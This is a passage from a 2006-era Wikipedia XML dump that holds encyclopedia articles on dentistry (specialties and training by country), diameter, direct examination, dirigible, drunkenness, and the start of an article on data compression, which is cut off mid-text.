'''Dentistry''' is the art and science of prevention, diagnosis, and treatment of conditions, diseases, and disorders of the oral cavity, the maxillofacial region, and its associated structures as it relates to human beings. A dentist is a doctor qualified to treat diseases, malformations of, and injuries to teeth, a professional practitioner of dentistry. In most countries,  several years of training in a [[university]] (usually 4-8) and some practical experience working with actual patients' [[dentition]] are required to become a qualified dentist. The patron saint of dentists is [[Saint Apollonia]], martyred in Alexandria by having all her teeth violently extracted, not, one would have thought, such a very desirable exemplar.

==Specialties==
[[Image:Métiers-Dentiste, humour-années 20.JPG|frame|right|Visits to the dentist are often feared or dreaded.]]

There are nine dental specialties recognized by the [[American Dental Association]] and require 2-6 years of further formal university training after dental school.  The specialties are [[Dental Public Health]] (study of dental epidemiology and social health policies), [[Endodontics]] ([[root canal]] therapy), [[Oral and Maxillofacial Pathology]] (study, diagnosis, and often the treatment of oral and maxillofacial related diseases), [[Oral and Maxillofacial Radiology]] (study and radiologic interpretation of oral and maxillofacial diseases), [[Oral and Maxillofacial Surgery]] ([[extraction (dental)|extractions]] and facial surgery), [[Orthodontics]] (straightening of teeth), [[Pedodontics]] (pediatric dentistry; i.e. dentistry for children), [[Periodontics]] (treatment of gum disease), [[Prosthodontics]] (replacement of missing facial anatomy by prostheses such as dentures, bridges and implants).

Specialists in these fields are designated registrable (U.S. &quot;Board Eligible&quot;) and warrant exclusive titles such as orthodontist, oral surgeon, pedodontist, periodontist, or prosthodontist upon satisfying certain local (U.S. &quot;Board Certified&quot;) registry requirements.

Two other post-graduate formal advanced education programs: [[General Practice Residency]] (advanced clinical and didactic training with intense hospital experience) and [[Advanced Education in General Dentistry]] (advanced training in clinical dentistry) recognized by the [http://www.ada.org ADA] do not lead to specialization.

Other dental education exists where no post-graduate formal university training is required: [[cosmetic dentistry]], [[dental implant]], [[Temporomandibular joint disorder|temporo-mandibular joint therapy]]. These usually require the attendance of one or more continuing education courses that typically last for one to several days. There are restrictions on allowing these dentists to call themselves specialists in these fields.  The specialist titles are registrable titles and controlled by the local dental licensing bodies.

[[Forensic odontology]] consists of the gathering and use of dental evidence in law.  This may be performed by any dentist with experience or training in this field.  The function of the forensic dentist is primarily documentation and verification of identity.

[[Geriatric dentistry]] or gerodontics is the delivery of dental care to older adults involving the diagnosis, prevention, and treatment of problems associated with normal aging and age-related diseases as part of an interdisciplinary team with other health care professionals.

==History==
[[Image:Johann Liss 002.jpg|thumb|''Farmer at the dentist'', [[Johann Liss]], c. 1616-17.]]

In [[2001]] archaeologists studying the remains of two men from [[Mehrgarh]], [[Pakistan]], made the discovery that the people of [[Indus Valley Civilization]], even from the early [[Harappa]]n periods (c. [[3300 BC]]), had knowledge of medicine and dentistry. The physical anthropologist that carried out the examinations, Professor Andrea Cucina from the University of Missouri-Columbia, made the discovery when he was cleaning the teeth from one of the men (see [[History of medicine]]).

Some information contained in the [[Edwin Smith Papyrus]] dates as early as [[3000 BC]] and includes the treatment of several dental ailments ([http://www.arabworldbooks.com/articles8.htm] &amp; [http://www.britannica.com/eb/article-9032043]). The [[Ebers papyrus]] also discusses similar treatments ([http://www.arabworldbooks.com/articles8c.htm]). Examining the remains of some [[History of Ancient Egypt|ancient Egyptians]] and [[Greco-Roman]]s reveal early attempts at dental [[prosthetic]]s and [[surgery]] ([http://www.arabworldbooks.com/articles8c.htm]).

Historically, dental extractions have been used to treat a variety of illnesses.  During the middle ages and through the 19th century, dentistry was not a profession into itself, and often dental procedures were performed by barbers or general physicians. [[Barber|Barbers]] usually limited their practice to extracting teeth, which not only resulted in the alleviation of [[pain]], but often cured a variety of ailments linked with chronic tooth [[infection]].  Instruments used for dental extractions date back several centuries. In the 14th century, Guy de Chauliac invented the dental pelican (resembling a [[pelican]]'s beak) which was used through the late 18th century.  The pelican was replaced by the [[Dental Key|dental key]] which, in turn, was replaced by modern forceps in the 20th century.

For more information on the ancient history of dentistry refer to the ''[http://www.idakerala.org/dentistryhome.asp Indian Dental Association's '''History of Dentistry'''].''

==Dentistry throughout the world==
===Dentistry in Australia===
In [[Australia]], graduating dentists earn either a B.D.S. (Bachelor of Dental Surgery) or B.D.Sc (Bachelor of Dental Science) degree.

Regarded as one of the premier dentistry courses in Australia, the B.D.Sc course at the University of Melbourne spans five years, pending an accumulation of both high school performance ([[Equivalent National Tertiary Entrance Rank]] (ENTER) score in Victoria or other national equivalent; International Bachelorette or any other International equivalent) and [[UMAT|Undergraduate Medicine and Health Sciences Admission Test (UMAT)]] scores.  Clinical practice during the course begins during year one at the Royal Dental Hospital of Melbourne, adjacent to the main campus of the University (and also to the Royal Women's Hospital).  The first three years are mainly theoretically based in the wider aspect of health sciences including anatomy, biology, chemistry, microbiology, pathology, pharmacology and neuroscience.  Significant clinical experience is gained right up until the fifth and final year, which consists almost completely of clinical work. [http://coursesearch.unimelb.edu.au/coursedetail.aspx?cid=726&amp;ctype=1&amp;typeall=1&amp;typepg=0&amp;typeug=0&amp;typesc=0&amp;stype=Interest&amp;sterm=28 BDSc at MU]

Also spanning five years, the B.D.Sc offered by the University of Queensland (UQ) combines high-school performance with an in-person interview on campus.  UMAT scores do not apply.  It is unique to Australia as it involves a 1-3-1 program: undergraduates undertake one year of preliminary generalist science courses, followed by three years of theoretical and clinical-based theory at the dental school. It is concluded by one year of extra-mural studies in regional placements.

===Dentistry in Canada===
Canadian dentistry is overseen by the [[Canadian Dental Association]], while specialization is overseen by the [[Royal College of Dentists]]. Today, Canada has about 16,000 dentists. Canadian dentistry is not publicly run (see [[Medicare (Canada)]]); only children and the elderly can have free dental care. Other Canadians are mostly covered by workplace dental plans, but many have to pay out of pocket.

For most of the early colonial period dentistry was a rare and unusual practice in Canada. In severe situations, barbers or blacksmiths would pull a tooth, but for many years [[Canada]] lagged behind European advances. The first dentists in [[Canada]] were [[United Empire Loyalists]] who fled the [[American Revolution]].  The first recorded dentist in Canada was a Mr. Hume who advertised in a [[Halifax Regional Municipality, Nova Scotia|Halifax]] newspaper in [[1814]].

During the first half of the 19th century, dentistry expanded rapidly. In [[1867]] the [[Ontario Dental Association]] was formed and in [[1868]] they founded Canada's first dental school in [[Toronto]], the [[Royal College of Dental Surgeons of Ontario]]. The [[University of Toronto]] agreed to be affiliated with the dental school. As time passed, other Canadian universities also created dentistry programmes.

Visit [http://www.jobfutures.ca Job Futures.ca] for info on dentistry &amp; similar careers.
Predental students should visit [http://www.dentalschooladmission.com Dental School Admission Guide] for information on successfully applying to dental school.

====Canadian dentistry schools====
*[[University of Toronto]] ([[1868]])
*[[McGill University]] ([[1905]])
*[[Université de Montréal]] ([[1905]])
*[[Dalhousie University]] ([[1908]])
*[[University of Alberta]] ([[1923]])
*[[University of Manitoba]] ([[1958]])
*[[University of British Columbia]] ([[1964]])
*[[University of Western Ontario]] ([[1966]])
*[[University of Saskatchewan]] ([[1968]])
*[[Université Laval]] ([[1971]])

===Dentistry in Chile===
Universidad de Concepcion (University of Concepcion) was the first university in exist this profession in 1919. Other important university is Universidad de Chile (University of Chile)

===Dentistry in Hong Kong===
The longest record for such ongoing and routine training and qualifying requirement for dental specialties in the world exists in [[Hong Kong]] where 5 years of pre-specialty, formal training and supervised practice are prescribed. It is accepted that only after 5 years of such training would the trainees achieve a superior level of professional competence.

===Dentistry in India===
Modern Indian dentists must earn the Bachelor of Dental Surgery degree (B.D.S.), which requires four years of study and one year of internship. This degree is overseen by the Dental Council of India. In most states, one has to appear for an entrance test conducted by the Directorate of Medical Education, whereas some autonomous universities conduct their own entrance tests.Post graduate courses (Master of Dental Surgery. MDS) are also available in different specialities.It requires 3 years of study after BDS.

===Dentistry in Malaysia===
In [[Malaysia]], there are 3 universities currently offering dentistry course. The universities are [[Universiti Malaya]], [[Universiti Kebangsaan Malaysia]] and [[Universiti Sains Malaysia]], although many other Malaysian universities are showing interest in offering undergraduate course in dentistry in the future.

Dentists trained in Malaysia have to complete 5 years of undergraduate study (previously 4 years) before earning a B.D.S (Universiti Malaya) or a D.D.S (Universiti Kebangsaan Malaysia/Universiti Sains Malaysia). Undergraduates in Malaysia are required to spend the first 2 years in pre-clinical lectures and the next 3 years they are required to do clinical sessions as well as attending lectures.

Once graduated from the course, Malaysian dentists are required to serve the Malaysian Government for 3 years compulsory service, regardless where they completed their undergraduate study. They can choose to work under Kementerian Kesihatan (Ministry of Health) or Kementerian Pertahanan (Ministry of Defence) as a military dentist.

====Malaysian dentistry schools====
*[[Universiti Malaya]] ([[1972]])
*[[Universiti Kebangsaan Malaysia]] ([[1997]])
*[[Universiti Sains Malaysia]] ([[1999]])

===Dentistry in Pakistan===
At present there are upwards of 20 dental schools (public &amp; private) throughout Pakistan, according to the [http://www.pmdc.org.pk/ Pakistan Medical &amp; Dental Council] the state regulatory body has upwards of 6200 registered dentists.   The four year training culminates in achieveing a ''Bachelor of Dental Surgery (BDS)'' degree, which also requires a one year compulsary interneship to be a registered dentist in Pakistan.

===Dentistry in Slovakia===
In [[Slovakia]], dentists complete 6 years of undergraduate study to earn a MUDr (lat. ''Medicinae Universae Doctor'') degree. Junior graduates work under a skilled doctor for at least 3 years to receive their license from [[The Slovak Chamber of Dentists]].

===Dentistry in the United Kingdom===
In the [[United Kingdom]], dentists complete 5 years of undergraduate study to earn a B.D.S. degree.  After graduating most dentists will enter a V.T. (vocational training) scheme, of either 1 or 2 years length, to receive their full [[National Health Service]] registration.  Dentists must register with the G.D.C. ([http://www.gdc-uk.org General Dental Council]), and meet their requirements as the governing body of the profession, before being allowed to practice.

===Dentistry in the United States===
In the [[United States]], dentists earn either a D.D.S. ([[Doctor of Dental Surgery]]) or D.M.D.([[Doctor of Dental Medicine]]) degree.  There are 56 Accredited Dental schools in the United States requiring 4 years of post graduate study (except for one unique 3 year program at the University of the Pacific)[http://www.ada.org/prof/ed/programs/search_ddsdmd_us.asp].  Most applicants to dental school have attained at least a B.S. or B.A. degree, however, a small percentage are admitted after only fulfilling specific prerequisite courses.  So unlike many other countries, it can take more then 8 years to become a dentist.  ([[List of dental schools in the United States]]) The degrees D.D.S. and D.M.D. require equivalent education and are identical in every way.  The difference relates to the history involved in the division of medicine and surgery in medical practice.  There has been a recent movement to include a 5th year of education that focuses on purely practical training in the clinical setting.  In at least one state, a state dental license can be received without taking the licensing exam (State Board Exam) upon completing this additional year of training.
Dentists are licensed and regulated by the state in which they practice.  The license is only valid in the issuing state and is non-transferable.  There are many cooperative agreements between states that allow recognition of another state's license so as to procure a license either via &quot;licensure by credentials&quot; or &quot;licensure by reciprocity.&quot;

A dentist may go on for further training in a dental specialty which require an additional 1 to 7 years of post-doctoral training. There are 9 recognized dental specialties.  They are Endodontics(root canal treatment), Oral and Maxillofacial Pathology, Oral and Maxillofacial Radiology, Pediatric Dentistry, Periodontics(gums), Prosthodontics(complicated dental reconstruction), Orthodontics(braces), Oral and Maxillofacial Surgery(tooth removal and surgery of the oral and related structures), and Dental Public Health.  There is no specialty in esthetic dentistry or implantology, and no additional training is required for a dentist to make the claim of being an esthetic or cosmetic dentist.

Any general dentist may perform those procedures designated within the enumerated specialties if they deem themselves competent.  Many general dentists train in certain aspects of the above specialties such as the placement and restoration of dental implants, advanced prosthodontics and endodontics, and have limited or heavily focused their practices to these areas.  When a general dentist performs any procedure that falls within the realm of a specialty, they are expected to perform with the same level of expertise as a certified specialist and are legally held to such standards with respect to any issues of malpractice.

===Dentistry in Italy===
In [[Italy]] dentists complete 5 years of undergraduate study to earn a degree. Nevertheless it is possible to agree on certain [[basic clinical competences]] common to all member states of the [[European Union]].

The following is an example of one such clinical competency ([[excision of a buried tooth root]]): If a clinician is deemed to be clinically competent in the surgercal removal of a buried root, this implies much more than the technical and surgical ability required to excise a buried piece of [[root]] from [[alveolus]]. It embraces a broad range of preclinical and [[clinical knowledge]] and understanding on which [[surgical treatment]] is based.
====Italian dentistry schools====
*[[University of Bologna]]([[1088]])

==Related dental topics==
[[Image:ToothSection.jpg|thumb|250px|Cross section of a tooth]]
*[[:Category:Dentistry]]
*[[bruxism]]
*[[calculus (dental)|calculus]] 
*[[ceramic]]s
*[[crown (dentistry)|crown]]
*[[dental fillings |dental amalgam]]
*[[dental brace]]
*[[dental cavities]]
*[[extraction (dental)|dental extraction]]
*[[dental restoration]]
*[[floss]]
*[[fluoridation]]
*[[gingivitis]]
*[[halitosis]] 
*[[dental implants]]
*[[laboratory technology]]
*[[mouthwash]] 
*[[Novocain]], a [[local anesthetic]]
*[[occlusion]]
*[[Saint Apollonia|Patron Saint of dentistry (Saint Apollonia)]]
*[[periodontitis]]
*[[Dental plaque|plaque]] 
*[[plaque remover]]  
*[[stem cell#regenerative dentistry|regenerative dentistry]]
*[[teledentistry]]
*[[temporomandibular joint disease]]
*[[tooth]]
*[[toothbrush]]
*[[toothpaste]] 
*[[waterpik]]
*[[xerostomia]]

==Organizations==
*[http://ada.org American Dental Association]
*[http://www.aacd.com/ American Academy of Cosmetic Dentistry]
*[http://www.agd.org/ Academy of General Dentistry]
*[http://www.aaoms.org/  American Association of Oral and Maxillofacial Surgeons]
*[[American Association of Orthodontists]]
*[http://www.prosthodontics.org/ American College of Prosthodonists]

*[[British Dental Association]] [http://www.bda-dentistry.org.uk]
*[http://www.dentalhealth.org.uk/ British Dental Health Foundation]
*[http://www.bspd.co.uk/ The British Society of Paediatric Dentistry]

*[[Canadian Dental Association]] [http://www.cda-adc.ca]
*[[Royal College of Dentists|Royal College of Dentists of Canada]]

*[http://www.avdc.org/ American Veterinary Dental College]
*[http://www.evdc.info/ European Veterinary Dental College]

==External links==
{{Commons2|Dentistry}}
*[http://www.ada.org American Dental Association] The national organization of dentists in the United States
*[http://www.foreigntraineddentists.com Foreign Trained Dentists Admission Guide to US and Canadian Dental Schools] The most comprehensive source of information for international dentists who aspire to practice dentistry in North America.
*[http://www.agd.org Academy of General Dentistry] Organization promoting continuing education for general practitioners
*[http://health.groups.yahoo.com/group/gdp-uk/ GDP-UK mailing list - the best and largest discussion group for UK dentists about their profession.]
*[http://www.doctorspiller.com/ Ask Dr Spiller - Dental technical information for the public]
*[http://www.dentaltwins.com/dentalchat/ DentalTwins Bulletin Board] Forum for exchange of dental information
*[http://www.allexperts.com/getExpert.asp?Category=966 AllExperts.com] Ask the dental experts
*[http://dmoz.org/Health/Dentistry/ Dentistry Directory]
*[http://www.askthedentist.info/ Ask the Dentist]  Free dental advice and common problems
*[http://www.dentalfearcentral.org/ Dental Phobia Self-Help]
*[http://www.dentalcom.net/ Dental Discussion Forum]
*[http://www.onlinedentaldirectory.org/ Online Dental Directory] 
*[http://www.dentaltown.com/ DentalTown - Forum for dental professionals]
*[http://www.dentalfearcentral.org/cgi-bin/yabb2/YaBB.pl Dental phobia message board]
*[http://www.bls.gov/oco/ocos072.htm Dentists] from the [[Bureau of Labor Statistics]]'s *[http://www.bls.gov/oco/home.htm Occupational Outlook Handbook] 
*[http://www.denticon.com/ Denticon - Internet Based Dental Practice Management Solution]
*[http://groups.google.com/group/Dentistry GOOGLE Dentistry]

{{dentistry}}

*[http://www.dentistandholiday.hu/ Dentist and Holiday in Hungary] Dental services for foreigners. Service details, prices, and contact information.

[[Category:Dentistry]]
[[Category:Professions|Dentist]]
[[Category:Medical specialties]]
[[Category:Doctoral degrees]]
[[Category:Academic degrees]]

[[de:Zahnmedizin]]
[[it:Odontoiatria]]
[[el:Οδοντιατρική]]
[[es:Odontología]]
[[fr:Chirurgien-dentiste]]
[[he:רפואת שיניים]]
[[hu:Fogászat]]
[[ko:치과]]
[[nl:Tandheelkunde]]
[[ja:歯科学]]
[[no:Odontologi]]
[[pl:Dentystyka]]
[[pt:Odontologia]]
[[ro:Stomatologie]]
[[fi:Hammaslääketiede]]
[[sv:Tandvård]]
[[zh:牙醫學]]
[[zh-min-nan:Gê-i-ha̍k]]</text>
    </revision>
  </page>
  <page>
    <title>Diameter</title>
    <id>8007</id>
    <revision>
      <id>40646831</id>
      <timestamp>2006-02-22T01:13:36Z</timestamp>
      <contributor>
        <username>Aaron Jacobs</username>
        <id>143464</id>
      </contributor>
      <minor />
      <comment>Corrected formatting</comment>
      <text xml:space="preserve">''For the authentication, authorisation, and accounting protocol, see [[DIAMETER]].''

In [[geometry]], a '''diameter''' ([[Greek language|Greek]] words ''diairo'' = divide and ''metro'' = measure) of a [[circle]] is any straight [[line segment]] that passes through the [[center]] and whose [[endpoints]] are on the circular boundary, or, in more modern usage, the [[length]] of such a line segment. When using the word in the more modern sense, one speaks of ''the'' diameter rather than ''a'' diameter, because all diameters of a [[circle]] have the same length. This length is twice the [[radius]].  The diameter of a circle is also the longest chord that the circle has.

The '''diameter''' of a [[connected graph]] is the distance between the two [[vertex|vertices]] which are furthest from each other. The distance between two vertices ''a'' and ''b'' is the length of the shortest path connecting them (for the length of a path, see [[Graph theory]]).

The two definitions given above are special cases of a more general definition. The '''diameter''' of a [[subset]] of a [[metric space]] is the [[supremum|least upper bound]] of the distances between pairs of points in the subset. So, if ''A'' is the subset, the diameter is
:[[supremum|sup]] { d(''x'', ''y'') | ''x'', ''y'' ∈ ''A'' } .

In medical [[idiom#parlance|parlance]] the diameter of a [[lesion]] is the longest line segment whose endpoints are within the lesion.

==Diameter symbol==

[[Image:Sign diameter.png|thumb|150px|Sign Ø from [[Autocad]] drawing]]

The [[symbol]] or [[variable]] for diameter is similar in size and design to ø, the lowercase letter o with stroke.  [[Unicode]] provides character number 8960 ([[hexadecimal]] 2300) for the symbol, which can be encoded in [[HTML]] webpages as &lt;tt&gt;&amp;amp;#8960;&lt;/tt&gt; or &lt;tt&gt;&amp;amp;#x2300;&lt;/tt&gt;.  Proper display of this character, however, is unlikely in most situations, as most [[Typeface|font]]s do not have it included.  ''(Your browser displays &amp;#x2300; and &amp;#8960; in the current font.)'' In most situations the letter ø is acceptable, obtained in [[Microsoft Windows]] by holding the &lt;tt&gt;[Alt]&lt;/tt&gt; key down while entering&lt;tt&gt; 0 2 4 8 &lt;/tt&gt; on the [[numeric keypad]].

It is important not to confuse a diameter symbol (ø) with the [[empty set]] symbol, similar to the uppercase Ø. Diameter is also sometimes called [[phi]] (pronounced the same as &quot;fie&quot;), although this seems to come from the fact that Ø and ø look like &amp;Phi; and &amp;phi;, the letter phi in the [[Greek alphabet]].

See also: [[angular diameter]], [[hydraulic diameter]]

[[Category:Elementary geometry]]
[[Category:Length]]

[[als:Durchmesser]]
[[bg:Диаметър]]
[[ca:Diàmetre]]
[[da:Diameter]]
[[de:Durchmesser]]
[[es:Diámetro]]
[[eo:Diametro]]
[[fa:قطر (ریاضی)]]
[[fr:Diamètre]]
[[is:Þvermál]]
[[it:Diametro]]
[[he:קוטר]]
[[li:Diameter]]
[[nl:Diameter]]
[[ja:径]]
[[no:Diameter]]
[[nn:Diameter]]
[[pl:Średnica]]
[[pt:Diâmetro]]
[[ru:Диаметр]]
[[simple:Diameter]]
[[sr:Пречник]]
[[fi:Halkaisija]]
[[sv:Diameter]]
[[ta:விட்டம்]]
[[uk:Діаметр]]
[[zh:直径]]</text>
    </revision>
  </page>
  <page>
    <title>Direct examination</title>
    <id>8008</id>
    <revision>
      <id>39535759</id>
      <timestamp>2006-02-14T03:39:00Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">{{EvidenceLaw}}
'''Direct examination''' (also called examination in chief) is the questioning of a witness by the party who called him or her, in a [[trial (law)|trial]] in a [[court of law]].  Direct examination is usually performed to elicit [[evidence (law)|evidence]] in support of facts which will satisfy a required element of a party's claim or defense.   

In direct examination, one is generally prohibited from asking [[leading question]]s. This prevents a lawyer from feeding answers to a favorable witness. An exception to this rule occurs if one side has called a witness, but it is either understood, or soon becomes plain, that the witness is hostile to the questioner's side of the controversy. The lawyer may then ask the court to declare the person he or she has called to the stand a [[hostile witness]]. If the court does so, the lawyer may thereafter ply the witness with leading questions during direct examination.  

''See also'' [[cross-examination]].

[[Category:Civil procedure]]
[[Category:Evidence]]
[[Category:Legal terms]]</text>
    </revision>
  </page>
  <page>
    <title>Dirigible</title>
    <id>8009</id>
    <revision>
      <id>36802628</id>
      <timestamp>2006-01-26T16:03:36Z</timestamp>
      <contributor>
        <username>Yamamoto Ichiro</username>
        <id>224287</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.10.123.33|72.10.123.33]] ([[User talk:72.10.123.33|talk]]) to last version by Nickptar</comment>
      <text xml:space="preserve">'''Dirigible''' can refer to :

* an [[airship]] --  a lighter-than-air [[aircraft]] that can be steered and propelled through the air. Airships are also known as dirigibles from the French dirigeable, meaning &quot;steerable&quot;. 
*[[Dirigible (movie)|Dirigible]] a [[1931 in film|1931]] movie by [[Frank Capra]].


{{airlistbox}}
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Drunk</title>
    <id>8010</id>
    <revision>
      <id>15906035</id>
      <timestamp>2005-04-15T23:46:19Z</timestamp>
      <contributor>
        <username>Sgeo</username>
        <id>90273</id>
      </contributor>
      <minor />
      <comment>Double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Drunkenness]]</text>
    </revision>
  </page>
  <page>
    <title>Drunkenness</title>
    <id>8011</id>
    <revision>
      <id>40857178</id>
      <timestamp>2006-02-23T13:28:04Z</timestamp>
      <contributor>
        <username>Alxndr</username>
        <id>97541</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/62.25.106.209|62.25.106.209]] to last version by Itai</comment>
      <text xml:space="preserve">'''Drunkenness''', in its most common usage, is the state of being '''intoxicated''' with [[ethanol|ethyl alcohol]] to a sufficient degree to impair mental and motor functioning. It is part of the [[effects of alcohol on the body]].

A person who is habitually intoxicated in this manner is labeled an [[alcoholism|alcoholic]], often referred to as a &quot;drunk&quot; (a shortened form of the more traditional term &quot;drunkard&quot;) or colloquially as a &quot;lush&quot;, &quot;alco&quot;, &quot;alkie&quot;, or &quot;[[jakey]]&quot;.

'''Drunkenness''' can also be used to describe the effects of any number of [[illegal drugs]]. (More commonly referred to as being &quot;high&quot; or &quot;stoned&quot;)

== Cultural attitudes ==

Many societies have cultural stereotypes associated with drunkenness; some consider the ability to drink vast quantities of alcohol worthy of respect. Arguably, such an attitude can be regarded as [[pathological]], as it may lead to [[alcoholism]]. In many public places for alcoholic consumption such as [[bar (establishment)|bar]]s, the act of not drinking alcohol and refusing offers of alcoholic drinks may appear to be &quot;spoiling the atmosphere&quot; and be met with social disapproval. However, an intoxicated person is often considered unable to control his/her urges or acknowledging limits of drinking and is thus treated with disrespect, related to annoying, or intrusive behavior. 

The symptoms of drunkenness are generally reported to be positive, at least initially. As the effects diminish, the associated [[hangover]] starts, mostly a result of dehydration and exhaustion.

The [[ancient Greeks]] believed that putting a piece of [[amethyst]] in the glass or in one's mouth while drinking prevented drunkenness, and indeed the name of the gem alludes to this belief ([[Ancient Greek]]: &quot;a-methyst&quot; meaning &quot;not intoxicated&quot;). 

Many religions discourage or prohibit alcohol consumption.  The [[Qur'an]], or book of [[Islam]], declares that [[God]] prohibits the consumption of alcohol by humankind, because of harmful effects for the body, harmful effects for the consumer's life and family, social problems, and distraction from mindfulness of God.

The [[Catechism of the Catholic Church|Catechism]] of the [[Roman Catholic Church]] states in paragraph 2290 of the Catacysm of the Catholic Church (CCC 2290):
&quot;The virtue of temperance disposes us to avoid every kind of excess: the abuse of food, alcohol, tobacco, or medicine. Those incur grave guilt who, by drunkenness or a love of speed, endanger their own and others' safety on the road, at sea, or in the air.&quot; The Church does not prohibit the use of alcohol if it is done in moderation.

[[Buddhism|Buddhists]] abstain from alcohol to avoid unintentionally harming others.  The intoxication of the mind also is at odds with the teaching of mindfulness.

==See also==
{| border=&quot;2&quot; style=&quot;border-collapse:collapse; float:right;&quot; cellpadding=&quot;2&quot; cellspacing=&quot;2&quot; rules=&quot;none&quot;
|+ Drunkenness-related headwords in [[WikiSaurus]]
|- 
| 
*[[wiktionary:WikiSaurus:drunk|drunk]]
*[[wiktionary:WikiSaurus:alcoholic|alcoholic]]
|}
*[[Effects of alcohol on the body]]
*[[Addiction]]
*[[Alcoholic beverage]]s
*[[Alcoholism]]
*[[Beer goggles]] (slang)
*[[Ethanol]]
*[[Hangover]]
*[[Pub crawl]]
*[[The Lexicon of Comicana|Squeans]]

==Further reading==

*&quot;Out of It. A Cultural History of Intoxication&quot; by Stuart Walton. (Penguin Books, [[2002]]) ISBN 0140279776
*[http://www.moderndrunkardmagazine.com &quot;Modern Drunkard&quot; magazine] - a humorous magazine about drink and the art of getting drunk

[[Category:Alcohol_abuse]]
[[Category:Drinking culture]]

[[de:Trunkenheit]]
[[es:Ebriedad]]
[[fr:Ivresse]]
[[it:Ubriachezza]]
[[nl:Dronkenschap]]
[[tl:Pagkalasing]]</text>
    </revision>
  </page>
  <page>
    <title>Data compression</title>
    <id>8013</id>
    <revision>
      <id>41830862</id>
      <timestamp>2006-03-02T00:50:52Z</timestamp>
      <contributor>
        <username>Ianbrown</username>
        <id>28190</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/210.215.116.28|210.215.116.28]] ([[User talk:210.215.116.28|talk]]) to last version by Chungc</comment>
      <text xml:space="preserve">In [[computer science]] and [[information theory]], '''data compression''' or '''source coding''' is the process of encoding information using fewer [[bit]]s (or other information-bearing units) than an [[code|unencoded]] representation would use through use of specific encoding schemes.  For example, this article could be encoded with fewer bits if we accept the convention that the word &quot;compression&quot; be encoded as &quot;comp&quot;.  
One popular instance of compression that many computer users are familiar with is the [[ZIP file format]], which, as well as providing compression, acts as an [[file archiver|archiver]], storing many files in a single output file.

As is the case with any form of communication, compressed data communication only works when both the [[sender]] and receiver of the [[information]] understand the encoding scheme. For example, this text makes sense only if the receiver understands that it is intended to be interpreted as characters representing the English language.  Similarly, compressed data can only be understood if the decoding method is known by the receiver.

Compression is possible because most real-world data have ''statistical redundancy''.  For example, the letter 'e' is much more common in English text than the letter 'z', and the probability that the letter 'q' will be followed by the letter 'z' is rather small. ''Lossless'' compression algorithms exploit statistical redundancy in such a way as to represent the sender's data more concisely, but nevertheless perfectly.

Further compression is possible if some loss of fidelity is allowable.  For example, a person viewing a picture or television video scene might not notice if some of its finest details are removed or not represented perfectly.  Similarly, two strings of samples representing an audio recording may sound the same but actually not be exactly the same. ''Lossy'' compression algorithms introduce relatively minor differences and represent the picture, video, or audio using fewer bits.

Compression is important because it helps reduce the consumption of expensive resources, such as disk space or connection bandwidth.  However, compression requires information processing power, which can also be expensive.  The design of data compression schemes therefore involves trade-offs between various factors including compression capability, any amount of introduced distortion, computational resource requirements, and often other considerations as well.

Some schemes are reversible so that the original data can be reconstructed ([[lossless data compression]]), while others accept some loss of data in order to achieve higher compression ([[lossy data compression]]). 

Perhaps surprisingly, lossless data compression algorithms will always make some files ''bigger'', that is, an algorithm that universally reduces the size of every possible file is impossible. This also explains why compressing a compressed file again will usually only increase the size of the “compressed” file, otherwise any amount of data could eventually be made to fit on a floppy disk. In practice lossy data compression will come to a point where compressing again does not work either, although an extremely lossy algorithm, which for example always removes the last byte of a file, will always compress a file up to the point where it is empty. Decompressing is of course impossible when one uses such an algorithm.

== Applications ==
One very simple means of compression, for example, is [[run-length encoding]], wherein large runs of consecutive identical data values are replaced by a simple code with the data value and length of the run. This is an example of [[lossless data compression]].  It is often used to better use disk space on office computers, or better use the connection bandwidth in a [[computer network]].  For symbolic data such as spreadsheets, text, executable programs, etc., losslessness is essential because changing even a single bit cannot be tolerated (except in some limited cases).

For visual and audio data, some loss of quality can be tolerated without losing the essential nature of the data. By taking advantage of limitations of the human sensory system, a great deal of space can be saved while producing output which is nearly indistinguishable from the original. These [[lossy data compression]] methods typically offer a three-way tradeoff between compression speed, compressed data size and quality loss.

Lossy [[image compression]] is used in [[digital camera]]s, greatly increasing their storage capacities while hardly degrading picture quality at all. Similarly, [[DVD]]s use the lossy [[MPEG-2]] codec for [[video compression]].

In lossy [[audio compression]], methods of [[psychoacoustics]] are used to remove non-audible (or less audible) components of the signal. Compression of human speech is often performed with even more specialized techniques, so that &quot;speech compression&quot; or &quot;voice coding&quot; is sometimes distinguished as a separate discipline than &quot;audio compression&quot;.  Different audio and speech compression standards are listed under [[audio codecs]].  Voice compression is used in [[Internet telephony]] for example, while audio compression is used for CD ripping and is decoded by [[MP3]] players.

== Theory ==
The theoretical background of compression is provided by [[information theory]] (which is closely related to [[algorithmic information theory]]) and by [[rate-distortion theory]].  These fields of study were essentially created by [[Claude Shannon]], who published fundamental papers on the topic in the late 1940s and early 1950s. Doyle and Carlson ([[2000]]) wrote that data compression &quot;has one of the simplest and most elegant design theories in all of engineering&quot;. [[Cryptography]] and [[coding theory]] are also closely related.  The idea of data compression is deeply connected with statistical inference.

Many lossless data compression systems can be viewed in terms of a [[four-stage model of data compression|four-stage model]].  Lossy data compression systems typically include even more stages, including, for example, prediction, frequency transformation, and quantization.

The Lempel-Ziv (LZ) compression methods are among the most popular algorithms for lossless storage.  [[DEFLATE (algorithm)|DEFLATE]] is a variation on LZ which is optimized for decompression speed and compression ratio, although compression can be slow.  DEFLATE is used in [[PKZIP]], [[gzip]] and [[PNG]].  [[LZW|LZW]] (Lempel-Ziv-Welch) was patented by [[Unisys Corporation|Unisys]] until June of [[2003]], and is used in GIF images. Also noteworthy are the LZR (LZ-Renau) methods, which serve as the basis of the Zip method.  LZ methods utilize a table based compression model where table entries are substituted for repeated strings of data.  For most LZ methods, this table is generated dynamically from earlier data in the input.  The table itself is often Huffman encoded (e.g. SHRI, LZX).
A current LZ based coding scheme that performs well is [[LZX (algorithm)|LZX]], used in Microsoft's [[cabinet (file format)|CAB]] format.

